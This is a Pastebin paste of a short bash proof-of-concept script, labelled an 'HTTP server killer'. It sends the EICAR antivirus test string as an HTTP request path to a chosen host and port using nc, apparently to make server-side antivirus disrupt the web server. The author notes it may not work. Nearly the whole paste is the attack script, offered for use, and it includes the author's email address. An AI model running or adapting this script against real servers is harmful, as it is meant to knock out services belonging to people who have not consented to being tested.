robercik1010

EICAR HTTP SERVER KILLER PoC Exploit

Sep 12th, 2013
286
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. #EICAR AnyVirus HTTP SERVER Killer PoC exploit by robercik101 (robercik10192@gmail.com)
  3. #It is only an experiment, I don't ensure that it really work
  4. #CODE START HERE
  5. if [ $# == 0 ]
  6. then
  7. echo -e "Usage: $0 host port\n"
  8. echo -e "Example: $0 localhost 80\n"
  9. exit
  10. fi
  11. export PAYLOAD='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
  12. export HOST=$1;
  13. export PORT=$2;
  14. echo -e "GET /$PAYLOAD HTTP/1.1\nHost:localhost\n"|nc $HOST $PORT>/dev/null
  15. echo -e "Payload sent successfully\n"
  16. #CODE END HERE
RAW Paste Data